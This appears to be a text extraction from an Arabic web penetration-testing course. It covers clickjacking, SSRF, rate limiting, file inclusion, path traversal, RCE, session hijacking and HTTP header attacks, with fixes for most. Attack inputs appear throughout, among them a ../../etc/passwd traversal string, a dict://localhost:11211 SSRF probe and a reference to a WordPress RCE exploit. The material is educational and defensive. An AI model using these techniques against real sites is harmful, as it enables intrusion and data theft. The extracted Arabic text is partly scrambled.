example.isecur1ty.org/oauth.pageیؤدي الى 

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

في صفحة اخرى وبذلك فان الموقع مصاب  	iframeتم الحصول على الصفحة في ال •

.في ھذه الصفحة  	clickjackingبثغرة 

ابعة سیتم اخفاء الایفریم في صفحة اخرى غیر ت 	CSSالان سیتم اخفاء الایفریم ببعض خدع •

.للموقع نفسھ 

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 
نا الان ان صنعت ھذه الصفحة كمثال بسیط وضعت مسابقة خدعة ووضعت زر اضغط ھ•

للسماح بتطبیق الھكر الخاص بي بسرقة  	allowلكي اسرق ضغطة ویضغط فوق زر

.الصور الخاصة بھ 

• ً الان ساخفي الایفریم تماما

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

الان سیكون من السھل خداع الضحیة وبمجرد ان یضغط على زر اضغط الان الذي ھو •

بدون  	example.isecur1ty.orgفي موقع  	allowمعطل اصلا فھو یقوم بضغط زر

.علمھ ویسمح لتطبیقي الخبیث بالحصول على الصور 

: الحمایة من الثغرة •

:یوجد العدید من الطرق لاصلح وتفادي الثغرة منھا •

.في السیرفر لكل الصفحات او للصفحات المھمة  	X-Frame-Optionsوضع •

السیرفر او برمجة جافا سكربت في الصفحات یقوم بمراجعة الصفحات في حالة عدم امكانیة التحكم ب•

.الصفحة 

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

	X-Frame-Optionsبعض المعلومات حول •

منھا 	Headerیوجد قیم لھذا ال•

•DENY	  یمنع ان یتم استدعاء ھذه الصفحة فيIframe
•SAMEORIGIN	  ح بھینص(عن طریق ایفریم “فقط ” یمكن استدعاء ھذه الصفحة في نفس الموقع. (

•ALLOW-FROM	uri	 السماح لرابط او موقع معین باستخدام الایفریم لربط ھذه الصفحة.

أصلاح عام للسیرفرات •

Apacheسیرفر اباتشي •

httpd.confیمكنك اضافة السطر التالي الى •

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

nginxسیرفر •

اضفط السطر التالي في خانة السیرفر 	nginx.confفي ملف •

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

IISسیرفر •

اضف النص التالي 	Web.configفي ملف •

Ahmed	Hashem	El	Fiky



تم بحمد الله انتھاء الفصل الحادى عشر 

Ahmed	Hashem	El	Fiky



الفصل الثاني عشر 
SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

المؤلف
أحمد ھاشم الفقي /م.د

استشارى أمن المعلومات و التحول الرقمي
comoutlook.ElFiky@Hashem.Ahmed.



SSRFثغرة ال 

عبارة عن أحد أنواع الھجمات ولیس ثغرة  SSRFیتم إعتبار حیث  	SSRFسوف نتكلم عن •
	Request	Side	Sever(بحد ذاتھا لكن سنشرحھا كثغرة لسھولة الفھم ھي إختصار لـ 

Forgery	 ( ر حینما یكون المھاجم لھ القدرة في إرسال طلب بأستخدام السیرفوتظھر
.المصاب 

میة الھجوم على الشبكة الداخلیة لسیرفر ما والتي تكون محفي  	SSRFعادة یتم أستخدام •
لالھا في سیتم استغ(بجدار ناري للعامة لكن لنفس السرفر یسمح بدخول حزم المعلومات 

SSRF	 ( ایضاً معرفة الخدمات المتوفرة على السیرفر والتنصت الى واجھة ویمكن
.الاسترجاع او ما یرد بھ السیرفر على الطلب 

Ahmed	Hashem	El	Fiky



...)تكملھ( SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

كیف یتم ذلك ؟ •
بھ فرضاً الخاص  	localhostاللو فرضنا مثلا انھ لدینا موقع یقوم بجلب البیانات من •

:سیكون الطلب كالاتي 
 منفذ معین في حالة ان المنفذ یعملونضع  	localhostالان لنعمل تحقق ونغیر الوجھة الى •

…	الخ  404 500كان لا یعمل سیرد اي كود من اكواد الاخطاء واذا  	ok 200سیرجع 
.في حالة عدم العمل  304اكثرھا سوف یكون 



...)تكملھ( SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

		SSRFفائدة ثغرات •
.البحث ومھاجمة الشبكة الداخلیة للسیرفر •
.و مھاجمة الخدمات التي تعمل على تلك الاستضافات عد •
) .سیتم شرحھا في اجزاء اخرى(استغلال خدمات المصادقة المستندة إلى المضیف •
.للمتصفحات وجلب محتوى خارجي  	SOPتخطي •

ثلا لو كان بالاعتماد على السیرفر المصاب ھناك العدید من الاحتمالات القابلة للاستغلال م•
	HTTPو  	HTTPSتدعم الاتصال باكثر من برتكول غیر التي  		cURLالسیرفر یستخدم 

بیانات لارسال ) 	(//:dictایضاً استخدام یمكن  	cURLفلو كان السیرفر المصاب یعمل بي .
.معینة وطلب معین لاي ایبي وعلى اي منفذ 

	localhostالسیرفر یتصل بسیجعل ) 	(dict://locahost:11211/statاستخدامیمكن •
.كبیانات  	statبارسال  11211عن طریق المنفذ 



...)تكملھ( SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

لھا دور والتي  	Memcachedھو المنفذ الافتراضي ل 11211معلومة مھمة جداً منفذ •
ولكن . كبوتیة في تحسین وتسریع قواعد البیانات وتكون غیر قابلة للدخول من الشبكة العن

بب الدخول لھا وتفصح المعلومات وارسال طلبات كبیرة لھا قد یسیمكن  	SSRFباستخدام 
.نفسھالسیرفر على  		DoSفي عمل ھجوم 



...)تكملھ( SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

:المورد المُھاجم قد یكون •
ملف مشترك بین السیرفرات الداخلیة•
البیاناتقواعد •
عمیل•

باشر ونقصد بمھاجمة منھا فحص وكشف وتحدید بعض الخدمات ولیس اختراق م.. وغیره •
سیرفرات داخلیة او خارجیة باستخدام قدرة على  	DoSلعمل  	SSRFحیث یمُكن إستخدام 

یرفر البورتات للمھاجم باسم السیرفر او بعنوان السلفحص  	SSRFاستخدامالسیرفر كما یتم 
.نفسھ لكي لا یتم تحدید الایبي للمھاجم



...)تكملھ( SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

:السلیم  	SSRFإستخدام •
ثلاً یكون الاستخدام السلیم حین یتم السیطرة على الوجھة الخاصة بالحزمة ونوعھا ، م•

ید من ان الرابط سلیم وموجود حتى تتجنب التصللتاكد  	SSRFشركة فیس بوك تستعمل 
.وغیره

سوف ) 	(http://www.isecur1ty.org:80ولو وضعنا في فیسبوك ماسنجر الرابط •
:یظھر محتوى الموقع والبنر الخاص بھ كما بالصورة التالیة 



...)تكملھ( SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

مفتوح  ولكن ماذا لو وضعنا منفذ مغلق ؟ 80لان المنفذ •
الفحصلم یظھر بنر الموقع دلیل على ان المنفذ مغلق وتم •
بوكعن طریق سیرفر فیس  
مثال أخر •
 	localhostلللو فرضنا وجود موقع مصاب نقوم بعمل اتصال •
631طریق منفذ عن  



...)تكملھ( SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

وعند الذھاب للرابط ” للطابعات“تستعمل والتي  		HTTP	CUPSیستخدم لل 631منفذ •
:ظھرت لنا الصحفة التالیة 



...)تكملھ( SSRFثغرة ال 

Ahmed	Hashem	El	Fiky

.الطریقةبنفس  	localhostالمنافذ المفتوحة ایضاً في العلى  	force	bruteیمكن عمل •
أسماء اخرى •

•  Cross	Site	Port	Attack



تم بحمد الله انتھاء الفصل الثاني عشر 

Ahmed	Hashem	El	Fiky



الفصل الثالث عشر 
Rate-Limitثغرة ال 

Ahmed	Hashem	El	Fiky

المؤلف

أحمد ھاشم الفقي/ م.د
استشارى أمن المعلومات و التحول الرقمي

Ahmed.Hashem.ElFiky@outlook.com



Rate-Limitثغرة ال 

Limit	Rateماھو •
.للسیرفر ) (Requestsھو المسؤول عن التحكم بمقدار الطلبات من الكلاینت او المستخدم •
Limit	Rateأنواع •
-:یوجد ثلاث انواع وھي •

Ahmed	Hashem	El	Fiky



...)تكملھ( Rate-Limitثغرة ال 

Ahmed	Hashem	El	Fiky

Limit	Rateشرح فكرة وأھمیة •
"د حمراءكل شيء لھ حدو"في حیاتنا العادیة عندما نرى تصرفات مسیئة نقول مع أنفسنا •

في مشاریعنا مھم  	Limit	Rateھنا سوف تعرف ان ف  	Limiting	Rateھذه ھي فكرة , 
ف ھو یحمیك من الھجمات مثل التخمین و ھجمات , بناالخاص  	APIاو تطبیقاتنا او 
.حرمان الخدمة 

 	Limiting	Rateكما ذكرت سابقا ان فكرة , سوف نتحدث بشكل مھم جدا في ھذه الفقرة•
مخترقلكن سوف نأخذ الجھة قلیلا من الضحیة الى ال, وضع حد للطلبات من المستخدمھي 

2009أتكلم مطولا یجب ان نذكر القصة الشھیرة اللتي حدثت لتویتر سنة وقبل , 



...)تكملھ( Rate-Limitثغرة ال 

Ahmed	Hashem	El	Fiky

وطبعا  	,Limit	Rateوصل المخترق الى صلاحیات مسؤول في تویتر بسبب عدم وجود •
.. الات الخوأیضا كما نرى دائما في تطبیقات ومواقع البنوك والأتص, لن أحكي لكم الخسائر
ون من المسجل ویكون دائما كود التحقق غالبا مكللتحقق  	OTPمایسمىحول العالم تستخدم 

یحدث ؟ بكل ماذا  	Limit	Rateماذا لو في ھذه الحالة لم یضع المبرمج !! خانات  6-4من 
لن یحتاج سوى وصدقني  	OTPبتخمین یقوم  	exploitكتابةبساطة لن یحتاج المخترق الا 

Takeover	Full(دقائق معدودة لأاختراق بیاناتك كاملة ووصول كامل للمستخدم 
من , ةفي ھذه الحالة لن یستطیع تعویض المستخدم ثمن معلوماتھ الحساسفالمبرمج ) 

رر بكل تأكیدالأفضل دائما أخذ التدابیر الأمنیة للبنیة التحتیة واصغر خطأ سوف یواجھھ ض
 وھذه مجرد أمثلة وھناك الكثیر من سیناریوھات الھجوم اللي یتبعھا المھاجم في عدم, 

.limit	rateوجود 



...)تكملھ( Rate-Limitثغرة ال 

Ahmed	Hashem	El	Fiky

Rate وضع• Limit
 طرق عدة وتوجد , ممتاز  جدا Throttling  فأستخدم Laravelالعمل  اطار مستخدم كنت اذا•

Rate  برمجة في limiting طریق عن وھي شھیرتین طریقتین  بأستخدام  Session 
Rate  البحث محرك في  اكتب GitHub  على كثیرة جاھزة مشاریع  توجد ,IP  والثانیة
Limitتاراخ العمل واطارات البرمجیة اللغات بشتى المشاریع من الكثیر ترى وسوف 
 وھي ngx_http_limit_req_module  استخدام  تستطیع Nginx  لدیھ ولمن ,مایناسبك

IP الأول النوع في في لك ماذكرت على تعتمد



...)تكملھ( Rate-Limitثغرة ال 

Ahmed	Hashem	El	Fiky

تعتمد على ماذكرت لك في في النوع وھي  	mod_ratelimitیوجد 	Apacheوأیضا في •
IPالأول 



عشر الفصل الثالث تم بحمد الله انتھاء 

Ahmed	Hashem	El	Fiky



الفصل الرابع عشر 
یبنصائح عند اختبار تطبیقات الو

Ahmed	Hashem	El	Fiky

المؤلف
أحمد ھاشم الفقي /م.د

استشارى أمن المعلومات و التحول الرقمي
comoutlook.ElFiky@Hashem.Ahmed.



نصائح عند اختبار تطبیقات الویب
Information ال مرحلة -1 Gathering

جیداااااااا منھ الغرض و عملھ طریقة و الویب تطبیق فھم•
 عضب .التطبیق فى شغالة اللى الصفحات كل معرفة المستخدمة، اللغة ایة مثلا المعلومات جمع•

Wapplayzer لذلك المھمة الادوات – Dirsearch – check index source code
2 انشئ و التطبیق فى المستخدمین نوعیة تفھم حاول• User نوع كل من

Scanning ال مرحلة -2
 علیك لذلك المتغیرة Parameters    ال و inputs  ال فى موجودة الثغرات ان عارف تكون لازم•

 crawlerweb  باستخدام ذلك و parameters  و inputs  على تحتوى التى الصفحات بجمع اولا
 ثغرة لكل ان بما ثانیا )ScraperExtensionChrome(  و )io.dataminer//:https/(  ده زى

payloads اشتغل ذلك معنى )كبیر بجھد لیس و بذكاء اشتغل(  فلذلك الاخرى الثغرات عن مختلفة 
 ھى و ألا غیره و BurpSuite  مثل Scanners  ال علیھا یشتغل ممكن مش اللى الثغرات على

Authentication  ثغرات مثل المنطقیة  الثغرات – Authorization – Access Control لان 
 یفھم و یفكر بشرى عنصرى لیست و أداة الا ھى ما Scanners ال الحال بطبیعة
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 من parameters  ال  و inputs  ال  لاختبار BurpSuiteفى  الموجودةplugins  ال استخدام فلذلك•

SQLI  مثل التقنیة الثغرات – XSS – Path Traversal – Open Redirect اللى الثغرات من غیرھا  و 
 لاختبارھا Payloads بتستخدم

Exploitation ال مرحلة -3
الثغرة وجود ىعل كافى دلیل لدیك لیكون الموقع تضر لا بطریقة استغلالھا بمحاولة قم معینة لثغرة اكتشافك حالة فى•

Reporting ال مرحلة -4
تحتاجة فسوف تجده ما كل حفظ و بكتابة قم دائما•

 :ھاااااامة ملحوظات•
HackerOne  زى المشھورة المنصات على مثلا الكبیرة المواقع بإختبار تبدأ بأن علیك لیس• –

BugCrowd  على العامة المواقع اختبار اولا علیك لكن و غیرھا و  Google مواقع على بالتدویر علیك ثم 
Bug  تعرض Bounty على من  Google ولالدخ علىك مسبقا المذكورة الثغرات لجمیع تام اتقان بعد ثم 

.المحترفین الاختراق مختبرى من كثیر مع للمنافسة غیرھا و HackerOne منصات على
 او واحدة ثغرة فاكتشا فى تستغرق ان الممكن فمن الثغرات اكتشاف فى الوقت من تستغرق بكم نتشغل لا•

 inputs  كل اختبار ھو علیك ما كل محدد وقت لھا فلیس سنة او شھرین او شھر او اسبوع الثغرات بعض
) Payloads تحتاج التى( تقنیة او منطقیة ثغرات كانت سواء الثغرات من parameters و
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Include	Fileثغرات ال 

 المواقع فى خاص بشكل و الویب مواقع على الموجودة الشائعة الثغرات من نوع ھى•
 تمكن التى و Joomla  و wordpress  مثل المحتوى إدارة انظمة بواسطة المصممة
 یوجد ملف استدعاء أو تضمین او بالسیرفر محلى ملف استدعاء أو تضمین من المخترق
.خارجى اخر بسیرفر

 اختلاف مع یختلف الثغرات من النوع ھذا استغلال و الھجمات ھذه من الأغراض وطبعا•
: حیث الثغرة نوع باختلاف كذلك و المخترق أھداف

LFI ثغرة• (Local File Inclusion)
.الضحیة بسیرفر الموجود الحساسة الملفات معاینة و دخول•
. بالسیرفر موجود سكریبت تفعیل•
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Inclusion)	File	(Remte	RFIثغرة •
.تفعیب سكریبت موجود بسیرفر خارجي یكون من برمجة المخترق لأغراض عدیدة•
.DOSالقیام بھجوم حجب الخدمة •

؟	includeما ھو معنى •

أو تضمین  	includeفأنت تقوم بعملیة  JSPأو  	phpعندما ترید أن تستدعي ملف في •
مل تعني عرض الملفات المتاحة في السیرفر الذي یع 	Inclusion	File	Localإذاً . للملف

ترى  الدالة المسؤولة عن عرض الملف تستقبل مسار الملف المطلوب، وقد. علیھ الموقع
:مسار الملف في رابط الصفحة في الأعلى، ھكذا
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بـتطبیق ویب لھ أسباب أخرى غیر الخطأ في  	LFIأو  	RFIیجب أن تعلم أن وجود ثغرة •
و ھذا  	php.iniو تحدیدا بملف  Features	PHPالبرمجة و ھذه الأسباب مرتبطة ب 

: موضوع للفقرة التالیة 
•PHP	Features

•Allow_url_Open	

 تمكنك من استدعاء لبیانات أو ملفات خارجیة ، و ONأو " 1"َھذه الخاصیة إن أخدت قیمة •
:وھذا ھو الخطأ الذي یظھر في حال استعمالھا و ھي غیر مفعلة ". 0"یتم تعطیلھا بالقیمة 
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•Allow_url_include

 یتم و ، خارجیة بیانات تضمین من تمكنك ON  أو "1"َ  قیمة أخدت إن الخاصیة ھذه•
: مفعلة غیر ھي و استعمالھا حال في یظھر الذي الخطأ ھو وھذا ."0" بالقیمة تعطیلھا

: اكتشافھا و الثغرة سیناریو•
: الشكل ھذا على رابط خلال من بالثغرة مصاب الموقع أن اكتشاف یمكنك•
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:بموقع بھ سكریبت خاص بنا  	articleأي یمكن أن نقوم بتغییر •

:وخطأ البرمجة ھو كالتالي •

pageیعني أن یقوم باستلام أي ملف یتلقاه بالمتغیر  	getاستعمال •
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 توضــــــــیحي سینــــــاریو•

 موقع على نتوفر أننا لنعتبر ، مبسط سیناریو بعرض سنقوم الثغرة أوضح بشكل لنفھم الان•
http://donhackingarticles.com فئات 3  على یتوفر الموقع ھذا و ، مثلا 

hacking و  Security  ِوContact،		الملفات طریق عن فیھا التحكم یتم الفئات وھذه 
hacking.php،	Securtiy.php و Contact.php

: الرابط طریق عن الثلاث الصفحات استدعاء یمكن Include باستعمال و•
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:القیمة التي یتلقاھا من المستعمل  	Pageوطبعا الكود المستعمل یأخد فیھ المتغیر •

و استدعاء سكریبت من موقع خاص بالمخترق  	RFIاي مكن استغلالھ عن طریق ثغرة •
:على الشكل التالي 

:و استدعاء ملف حساس من سیرفر الضحیة  	LFIأو استغلالھ عن طریق ثغرة •
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.ءلیتم تفعیلھ بمتصفح الزائر وھذا أخطر شي 	XSSویمكن أن تقوم بتضمین سكریبت بھ ثغرة•

:الحمایة من ھذه الثغرات•
وھي بھذه الطریقھالطریقھ الاولى والشائعة بین المبرمجین وھیھ جلب الملف بشكل مباشر•
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&&او  	andاو التحقق من المدخل وبأمكانك تعریف اكثر من ملف عن طریق الامر •

•
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او ادخال المسار في متغیر ثم یتم استدعاء المتغیر•

احدث اصدارالى  	PHPاما بالنسبة لسیرفر فیجب علیھ ان یقوم بترقیة اصدار ال •
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Traversal	Pathثغرة ال 

 تغلالاس إلى یؤدي أن یمكن بھ مسموح الغیر المستخدم دخل من للتحقق طرق استخدام عدم•
 وعندھا إلیھا لبالوصو لھ مصرح الغیر الملفات وكتابة قراءة الاختراق لمختبر ویتیح النظام
 .الھدف النظام على تعلیمات تنفیذ أو السیرفر على خبیث كود تنفیذ یمكنھ

 إلى الوصولب التحكم أجل من للمصادقة طریقة تستخدم الویب وتطبیقات الویب سیرفرات•
.والمصادر الملفات

 فقط الوصول یمكنھ مستخدم وكل مستخدم لكل مساحة تخصیص یحاول الویب سیرفر•
.بھ الخاص الویب تطبیق ملفات لرفع لھ المخصصة للمساحة

Access(  بالوصول التحكم قائمة خلال من یتم الصلاحیات تعریف• Control Lists (ACL
 فاتالمل على والتعدیل بالوصول لھم مسموح مجموعات أي أو مستخدمین أي تحدد والتي

.السیرفر في
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 على حويت التي الملفات إلى الوصول من الخبیث المستخدم بمنع لتقوم مُعدة الطریقة ھذه•

.النظام على تعلیمات تنفیذ من ولمنعھ )(/etc/passwd الملف مثل حساسة معلومات
 بشكل لدخلا برامترات من التحقق یتم لم إذا حساسة معلومات یكشف أن یمكن الویب تطبیق•

.جید
path  المسار تجاوز ھجموم في• traversal رمختب فإن الویب وتطبیقات سیرفرات في 

 اإلیھ بالوصول لھ مصرح الغیر والمجلدات الملفات قراءة على قادر یكون الاختراق
)الویب لتطبیق المخصصة المساحة خارج موجودة(

dot-dot-slash  باسم یعرف الھجوم ھذا• attack ( /..  ویحدثbacktracking  باسم أو (
 قام ومصادقة حمایة إجراءات أي مفعول إبطال الاختراق مختبر یحاول عندما الھجوم ھذا

 إلى فقط ولبالوص التطبیق لمستخدمي للسماح التطبیق ومبرمج التطبیق مدیر بوضعھا
.أخرى مجلدات دون معینة مجلدات
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ویقوم  ھذا النوع من الھجوم یتم عادتاً من قبل مستخدم قام بعملیة المصادقة في التطبیق•

خبیث  بفحص المصادر التي یمكن للمستخدم العادي الوصول إلیھا ثم یقوم بخلق طلب
.لاستخدامھ بالوصول إلى المصادر الغیر مصرح لھ بالوصول إلیھا

:بنیة ملفات سیرفر الویب•
فإن  	DVWAوفي ھذا المثال نستخدم سیرفر یعمل بنظام التشغیل لینكس والتطبیق الھدف ھ•

:بنیة المجلدات ستكون كما في الشكل التالي
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 ولالوص لك مصرح الغیر المصادر إلى بالوصول لك یسمح المسار تجاوز ھجوم تنفیذ•

.إلیھا
: الثغرة ھذه فحص•
:الدخل عوامل تعداد•

 كل عدادبت یقوم أن الاختراق مختبر على یجب الثغرة بھذه المصابة التطبیق أجزاء تحدید أجل من•
HTTP  طلبات یتضمن وھذا المستخدم من دخل تقبل التي الأجزاء GET and POST ال كل وكذلك 

Parameters المستخدم من دخل تقبل التي
:الفحص طریقة•

 ختبرم أن حیث الویب تطبیق في المستخدمة الدخل من التحقق طریقة تحلیل ھي التالیة الخطوة•
 أجل من URL  عنوان من كجزء "  etc/passwd/../../../../  ”  بإدخال یقوم أن یمكن الاختراق

 ھذا السر، بكلمات الخاص hash  الھاش على یحوي والذي etc/passwd/  ملف محتوى عرض
.المستخدم من المقدم الدخل من التحقق فشل عن یحدث أن یمكن الھجمات من النوع
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غیل لنجاح ھذا الھجوم یجب على مختبر الاختراق أن یكون على معرفة بنوع نظام التش•
)(IISمن سیرفر یعمل ینظام  	etc/passwd/الھدف طبعاً لا یمكن طلب الملف 

في  من أجل الوصول إلى ملفات) التنقل عبر المجلدات(سوف نقوم بھجوم تجاوز المسار •
.سیرفر الویب غیر مصرح لنا بالوصول إلیھا

.ھذه الثغرة تسمح لنا أیضاً برفع ملفات وتغیر الإعدادات في سیرفر الویب•
أول مرحلة في ھذا الھجوم ھي معرفة المكان الموجودة فیھ ملفات تطبیق الویب على •

/.. ” مة باستخدام التعلی) مجلدات أعلى(السیرفر ومن ثم محاولة الانتقال لمسارات أخرى 
.عدد من المرات لاستغلال ھذه الثغرة“ 

لعدد عدد من المرات إلى أن نحصل على ا” /.. ” لاختبار ھذه الثغرة نستخدم ھذه التعلیمة •
.الصحیح وھو عدد المجلدات الموجودة في ھذا المسار
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/etc/passwdنتیجة طلب ھذا العنوان سوف تعرض محتوى الملف •
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وھذا یعني أنھ یمكننا  	etc/passwd/مرات من أجل الوصول إلى  6” /.. ” استخدمنا •
.بتجاوز الملفات أربع مرات 	directory	rootالوصول إلى 

ن تمكنا من تجاوز المسار المخصص لتطبیق الویب وقمنا بكشف معلومات حساسة ع•
.السیرفر الھدف
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RCEثغرة ال 
remote  لكلمة اختصار REC  الثعرة ھده اختصار و معنى على نتعرف تعالو البدایة في•

code execution

 بیقاتتط و التشغیل انضمة حتى بل لا حسب و المواقع یصیب لا الثغرات من النوع ھدا•
iosاو android سواء الھواتف

 في ةالمستعمل البرمجة لغة تجیب كنت اذا الى الثغرات ھده مثل على الكشف یمكن لا و•
 باقي مثل لیست RCEثغرة لان علیھ الاختراق اختبار ب تقوم الدي الموقع او التطبیق
.الثغرات

 ثغرة عكس لكن و الثغرة ھده استغلال مبتدئ لاي یمكن SQLIثغرة في المثال سبیل على•
RCE معینة برمجة لغات في مھارات الى تحتاج لانھا 

 اللغات يھ البرمجة لغات في یھمنا ما لھذا تاكید بكل المواقع اختراق على نتكلم ھنا نحن و•
Dynamic   الدینامكیة programming language منھا و  php و  asp قریب عن و 

JavaScript لغة عمل نفس تعمل سوف سكربت الجافا لغة لان  php یقولھ ما ھاذا و 
“ المستقبل ھي سكربت الجافا“ البرمجة خبراء
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RCE ثغرة تحدث كیف•

 ب الثغرة تكون احیانا و نفسھ المبرمج من الخطأ ھو و الا واحد بسبب تحدث RCEثغرة•
. نفسھا البرمجة لغة سبب

: المبرمج من الخطأ بسبب RCE ثغرة•

 كتابتھا الى الحاجة دون جاھزة functions  عدة للمبرمجین تتیح الدینامكیة البرمجة لغات•
 من تتمكن بحیث الموقع او النظام على صلاحیات تمتلك functions   ال ھذه لكن و

 ھذا على مثال النظام على اوامر اعطاء او التحكم
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م ب بسیط بدون فلترة و ھذا الخطأ من المبرمج لانھ یسمح للمستخد 	phpفي الاعلى كود•
استعمال اي شيء او اي كود على الموقع 

نشوف الاستغلال كیف یكون •

نقوم ب استعراض الرابط على المتصفح•

الخاصة ب السیرفر  	phpinfoو نلاحض انھ قد قدم لنا •

الخاص بنا على السیرفر بكل بساطة و ھذا امر  	idو الان نلاحض انھ قد تم اعطائنا ال •
خطیر جدا 
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:بسبب لغة البرمجة  	RCEثغرة •

.بسبب خطأ ما في لغات البرمجة  	rceكما تكلمنا في الاعلى انھ احیانا تنتج ثغرة •

صوم من و انا ھنا لا اتلكم على فراغ لان من كتب لغات البرمجة  نفسھ الانسان و الانسان غیر مع•
الخطأ و لكن ان تكتشف ثغرة ما في لغة برمجة فھذا یتطلب منك مھارات عااالیة جدا

كمثال على ھادا سوف نتكلم على ثغرة•

•-CVE-EXEC-CODE-RCE-6-4-Exploit-WordPressvuln/io/exploitbox.https://
html.10033-2016

حیث تمكن المخترق من حقن كود  		PHPفي  	()mailو ھذه الثغرة كانت ب سبب مشكل في دالة  •
Session	Shellو الحصول على  	Headerفي ال

و ھادا الخطأ من لغة البرمجة نفسھا•
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 : الخلاصة•

remoteثغرة• code execution لغات في كبیرة مھارات الى تحتاج و جدا كبیرة ثغرة 
 ابدا ستیا لا لھذا  الثغرات من النوع ھذا لاحتراف كبیر وقت الى بحاجة انت لھذا البرمجة

كثیرااااااااااااااا أقرا و

Ahmed	Hashem	El	Fiky



تم بحمد الله انتھاء الفصل السابع عشر
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Ahmed	Hashem	El	Fiky

المؤلف

أحمد ھاشم الفقي /م.د
المعلومات و التحول الرقمياستشارى أمن 

comoutlook.ElFiky@Hashem.Ahmed.



	Hijacking	Sessionثغرة ال

الذي یقوم بإستخدم  	Sessionاقتحام الجلسات ھي عملیة السیطرة على جلسة المستخدم•
او  	ID	Sessionعملیة إقتحام الجلسھ تلزم ان یقوم المخترق بإلتقاط رقم الجلسة .النظام

قد یبدو  	,Engineering	Reverseاو إعادة تولید للرقم  	Force	Bruteتولید إجباري لھا 
.المفھوم صعب لذا سأسترسل بشرحھ أكثر

وھي التي یتم  	Persistentالجلسات الدائمة ,من المعروف ان ھناك نوعین من الجلسات •
وحفظھا في جھاز المستخدم لكي یتعرف  Cookiesمن احلھا تعریف ملفات الإرتباط اي 

.علیھ النظام عند عودتھ في اي وقت مرة أخرى
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...)تكملھ(		Hijacking	Sessionثغرة ال

 إغلاق بمجرد تنتھي التي وھيnon-Persistent  الدائمة الغیر الجلسات ھو الثاني النوع•
Session  جلسة رقم تعریف یتم النوعین كلا في ,للمتصفح المستخدم ID رقم ,للمستخدم 

 على لستھج خلال یستقبلھا او یرسلھا الذي المستخدم متغیرات لمعرفة یستخدم ھذا الجلسھ
 رقم لالخ من تستخدمھا التي البرمجة لغة من إفتراضي بشكل عادة ینشئ الرقم ھذا ,  نظام
.الاخرى المتغیرات بعض معھا یدمج الجلسھ وقت المستخدم IP بي أي

 إضافة او شفیرهلت یسعى ان دون إفتراضي بشكل الرقم ھذا بتولید یكتفي المبرمجین عضب•
 وھنا ,عبةص تكون لھ التولید إعادة او الاجباریة التولید عملیة لجعل علیھ العوامل من المزید
 عطیاتالم بعض بمعرفة الجلسة رقم تولید بمحاولة المخترق یقوم حیث المشكلة تكمن

HTTP  الطریق عن یرسلھا و اللحظیة Request ویقارنھ الجلسھ رقم یقراء الذي نظام الى 
 نا النظام نظر وجھة من یعني فھذا ,تطابق فإذا ,  ذاكرة في لدیھ الموجود الجلسھ برقم

.الحقیقي المستخدم ھوالمخترق
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...)تكملھ(		Hijacking	Sessionثغرة ال

ل المثال ویمنحھ بذلك حق الوصول لمنطقة المستخدم الخاصة اي حسابھ البنكي على سبی•
یمكن ان تستخدم للإستلاء على الجلسات وذلك عن  	XSSالجدیر بالذكر ان ھجمات الــ , 

ھذا الرقم  طریق تمریر كود جافا سكریب للنظام یقوم بقراءة رقم الجلسة المستخدم وإرسال
...للمخترق

الحمایة من ھذه الثغرة•

.حاول تشفیر رقم الجلسة وتعقیدھا قدر المستطاع•

.لتشفیر البیانات الحساسة المرسلة والمستقبلة من و الى نظامك 	SSLإستخدام الــ •

انتھى فعلا  برمجیا قم بإنھاء اي جلسھ یمضي علیھا وقت كافي تقدر بأن المستخدم خلالھا قد•
.من عملھ خلالھا او انھ قد ترك شاشة النظام مفتوحة ولم یعد یستخدمھا

XSSحصن نظامك ضد ھجمات الــ •
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	ID	Sessionلتنبؤ ال Sequencer	BurpSuiteإداة 
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	ID	Sessionلتنبؤ ال Sequencer	BurpSuiteإداة 
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Sequencerالى  request ثم ارسال requestمن ال  Cookieنقوم بحذف ال •
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	ID	Sessionلتنبؤ ال Sequencer	BurpSuiteإداة 
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حیث بعد ما یلتقط اكثر من  Cookiesللتقاط ال  	Capture	Liveثم الضغط على زر ال •
لمعرفة إذا كان بإمكننا تنبؤ  now	Analyzeنقوم بالضغط على زر  Cookieقیمة لل  100

او لا  Cookieقیمة ال 



	ID	Sessionلتنبؤ ال Sequencer	BurpSuiteإداة 
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	Good	Very	=	Randomnessصعب ان تنبؤ لان Cookieحیث فى مثالنا ھذا قیمة ال •
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Headers	HTTPثغرات ال 

HTTP  على یعتمدون الیدوي الاختراق مختبري من الكثیر• header واستقبال ارسال في 
. السیرفر من الطلب على والرد الطلب في یجري ما لفھم الطلبات

 ھمف في ستساعدك والتي الرد وفي الطلب في الموجودة العناصر اھم سنشرح الیوم•
 القابلة Inputال من نوع تكون ان یمكن كما الویب بتطیقات المتعلقة الثغرات واكتشاف
. للاختراق

localhost الى عادي طلب لنحلل•
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...)تكملھ( Headers	HTTPثغرات ال 
HOST ال•
 بدون روابطال یستدعوا لكي الصفحة في العنصر ھذا المبرمجون یستخدم الأحیان أكثر في•

 من :  سؤال ھنا یوجد حیث HOST  ال من معرفتھ طریق عن البرمجة في الموقع اسم تكرار
؟ المطلوب الرابط ھو ما السیرفر عرف أین

 اسم ةباضاف المتصفح یقوم سوف الموقع الى تذھب حین الاصلي الطلب في :  الجواب•
HOST في الطلب الى الموقع

XSS لثغرة اختراق اختبار بعمل نقوم الآن•
 اداة طریق عن الطلب نغیر لو•

live HTTP header كالتالي : 
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...)تكملھ( Headers	HTTPثغرات ال 

XSSوسوف یظھره بالصفحة وتحصل على ثغرة  	HOSTسوف یقوم السیرفر بقراءة ال•
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...)تكملھ( Headers	HTTPثغرات ال 

•REFERER
